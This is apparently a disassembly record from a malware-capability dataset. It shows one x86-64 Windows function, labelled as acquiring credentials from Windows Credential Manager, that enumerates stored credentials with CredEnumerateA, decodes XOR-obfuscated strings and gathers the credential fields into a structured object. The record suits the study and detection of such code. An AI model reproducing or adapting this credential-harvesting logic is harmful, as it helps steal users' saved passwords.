Function at 0x140037390
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov rax, qword [0x1400d5bd0]
xor rax, rsp
mov qword [rbp + 0x290], rax
xor r12d, r12d
mov ebx, r12d
mov dword [rsp + 0x28], ebx
mov qword [rbp + 0x1f8], r12
mov dword [rbp + 0x204], r12d
lea r9, [rbp + 0x1f8]
lea r8, [rbp + 0x204]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CredEnumerateA]
test eax, eax
je 0x140037e6e
mov r15d, r12d
cmp dword [rbp + 0x204], ebx
jbe 0x140037e61
movabs r13, 0xa36e12c022419866
movabs r14, 0xd46ae095d3484e85
nop dword [rax]
nop word [rax + rax]
mov ecx, r15d
mov rax, qword [rbp + 0x1f8]
mov rsi, qword [rax + rcx*8]
xor dil, dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], r12
mov ecx, 0x50
call fcn.140098418
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x210], rax
mov rdx, qword [rsi + 8]
test rdx, rdx
je 0x140037735
lea rax, [rsp + 0x30]
mov qword [rbp + 0x148], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400374b0
lea rcx, [rsp + 0x70]
call fcn.14002ea20
nop
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp]
call fcn.14003e430
or ebx, 1
mov dword [rsp + 0x28], ebx
mov byte [rsp + 0x30], 0
xor eax, eax
mov qword [rsp + 0x38], rax
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.14003c8b0
mov byte [rsp + 0x30], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov ecx, 0x20
call fcn.140098418
lea rcx, [rbp + 0x200]
mov qword [rbp + 0x220], rcx
mov qword [rbp + 0x228], rax
movups xmm0, xmmword [rbp]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], send
mov byte [rbp], 0
mov qword [rbp + 0x228], r12
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x150], rax
movabs rax, 0xd46ae095b6252feb
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x50], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x48], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x240], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x248], rax
movdqa xmm0, xmmword [rbp + 0x240]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400375e0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x20]
call fcn.14002ea20
nop
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x210]
call fcn.14003ef60
mov rdx, qword [rax]
movzx ecx, byte [rdx + 0x40]
movzx eax, byte [rsp + 0x30]
mov byte [rdx + 0x40], al
mov byte [rsp + 0x30], cl
mov rax, qword [rdx + 0x48]
mov rcx, qword [rsp + 0x38]
mov qword [rdx + 0x48], rcx
mov qword [rsp + 0x38], rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14003c8b0
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x14003767f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003767a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037efc
call fcn.1400982f0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], send
mov byte [rbp + 0x20], 0
mov ebx, dword [rsp + 0x28]
and ebx, 0xfffffffe
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400376d5
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400376d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037f02
call fcn.1400982f0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], send
mov byte [rbp], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140037721
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003771c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037f08
call fcn.1400982f0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], send
mov byte [rsp + 0x70], 0
mov dil, 1
mov rdx, qword [rsi + 0x48]
test rdx, rdx
je 0x140037989
lea rax, [rbp + 0x128]
mov qword [rbp + 0x158], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140037766
lea rcx, [rbp - 0x70]
call fcn.14002ea20
nop
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rbp + 0x90]
call fcn.14003e430
or ebx, 2
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x128]
call fcn.14003e5d0
mov rbx, rax
mov qword [rbp + 0x160], rax
movabs rax, 0xd46ae095a12d3df0
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
mov qword [rbp - 0x40], rcx
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x20]
mov qword [rbp - 0x38], rcx
mov qword [rsp + 0x20], r14
mov rcx, qword [rsp + 0x20]
mov qword [rbp + 0x250], rcx
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x258], rax
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp - 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140037830
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x60]
call fcn.14002ea20
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x210]
call fcn.14003ef60
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.14003c8b0
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400378c6
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400378c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037f0e
call fcn.1400982f0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], send
mov byte [rbp + 0x60], 0
mov ebx, dword [rsp + 0x28]
and ebx, 0xfffffffd
mov dword [rsp + 0x28], ebx
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140037922
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003791d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037f14
call fcn.1400982f0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], send
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140037976
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037971
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037f1a
call fcn.1400982f0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], send
mov byte [rbp - 0x70], 0
mov dil, 1
mov rdx, qword [rsi + 0x28]
test rdx, rdx
je 0x140037bd7
lea rax, [rbp + 0x138]
mov qword [rbp + 0x120], rax
mov r8d, dword [rsi + 0x20]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
lea rcx, [rsp + 0x50]
call fcn.14002ea20
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rbp + 0xb0]
call fcn.14003e430
or ebx, 4
mov dword [rsp + 0x28], ebx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x138]
call fcn.14003e5d0
mov rbx, rax
mov qword [rbp + 0x168], rax
movabs rax, 0xd46ae095a03b2ff5
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
mov qword [rbp - 0x30], rcx
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x20]
mov qword [rbp - 0x28], rcx
mov qword [rsp + 0x20], r14
mov rcx, qword [rsp + 0x20]
mov qword [rbp + 0x260], rcx
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x268], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
lea rax, [rbp - 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140037a80
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x40]
call fcn.14002ea20
nop
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x210]
call fcn.14003ef60
mov r8, qword [rax]
movzx ecx, byte [r8 + 0x40]
movzx eax, byte [rbx]
mov byte [r8 + 0x40], al
mov byte [rbx], cl
lea rcx, [rbx + 8]
mov rax, qword [r8 + 0x48]
mov rdx, qword [rcx]
mov qword [r8 + 0x48], rdx
mov qword [rcx], rax
movzx edx, byte [rbx]
call fcn.14003c8b0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140037b16
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037b11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037f20
call fcn.1400982f0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], send
mov byte [rbp + 0x40], 0
and dword [rsp + 0x28], 0xfffffffb
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140037b6c
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037b67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037e9e
call fcn.1400982f0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], send
mov byte [rbp + 0xb0], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140037bc2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140037bbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140037ef6
call fcn.1400982f0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], send
mov byte [rsp + 0x50], 0
jmp 0x140037be0
test dil, dil
je 0x140037e45
movabs rax, 0xd46a8df0a73b37f6
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x20], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp - 0x18], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x270], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x278], rax
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp - 0x20], xmm0
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x110], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea rax, [rbp - 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140037c70
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xd0]
call fcn.14002ea20
nop
lea rdx, [rbp + 0xd0]
lea rcx, [0x1400d5f40]
call fcn.14003b0f0
mov rbx, rax
movabs rax, 0xd40e85e7b02627f2
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
mov qword [rbp - 0x10], rcx
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x20]
mov qword [rbp - 8], rcx
mov qword [rsp + 0x20], r14
mov rcx, qword [rsp + 0x20]
mov qword [rbp + 0x280], rcx
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x288], rax
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp - 0x10], xmm0
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x118], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], r12
lea rax, [rbp - 0x10]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140037d30
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xf0]
call fcn.14002ea20
nop
lea rdx, [rbp + 0xf0]
mov rcx, rbx
call fcn.14003b0f0
mov rsi, rax
mov byte [rsp + 0x40], 0
xor eax, eax
mov qword [rsp + 0x48], rax
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.14003c8b0
mov byte [rsp + 0x40], 1
mov rdi, qword [rbp + 0x210]
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140098418
mov r14, rax
lea rax, [rbp + 0x208]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], r14
mov r8, rdi
mov rdx, rbx
mov rcx, r14
call fcn.140042a40
mov qword [rbp + 0x238], r12
mov qword [rsp + 0x48], r14
movzx eax, byte [rsi]
test al, al
je 0x140037ddb
cmp al, 2
jne 0x140037ea4
jmp 0x140037df7
mov byte [rsi], 2
mov dl, 2
lea rcx, [rbp + 0x80]
call fcn.14003cd40
mov rax, qword [rbp + 0x80]
mov qword [rsi + 8], rax
mov rcx, qword [rsi + 8]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x140037e1e
mov byte [rdx], 1
mov qword [rdx + 8], r14
xor dl, dl
mov byte [rsp + 0x40], dl
mov qword [rsp + 0x48], r12
add qword [rcx + 8], 0x10
jmp 0x140037e2d
lea r8, [rsp + 0x40]
call fcn.140041840
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14003c8b0
mov ebx, dword [rsp + 0x28]
movabs r14, 0xd46ae095d3484e85
lea rcx, [rbp + 0x210]
call fcn.14003abd0
inc r15d
cmp r15d, dword [rbp + 0x204]
jb 0x140037430
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.ADVAPI32.dll_CredFree]
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.1400982d0
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14007a428
nop
mov rcx, rsi
call fcn.14003cf00
mov qword [rbp + 0x88], rax
lea r8, [rbp + 0x88]
lea rdx, str.cannot_use_push_back___with
lea rcx, [rbp + 0x1d8]
call fcn.14003f190
nop
mov r8, rax
mov edx, 0x134
lea rcx, [rbp + 0x1a0]
call fcn.14003f260
lea rdx, [0x1400d3468]
lea rcx, [rbp + 0x1a0]
call fcn.14009b318
nop
call fcn.14007a428
nop
call fcn.14007a428
nop
call fcn.14007a428
nop
call fcn.14007a428
nop
call fcn.14007a428
nop
call fcn.14007a428
nop
call fcn.14007a428
nop
call fcn.14007a428
int3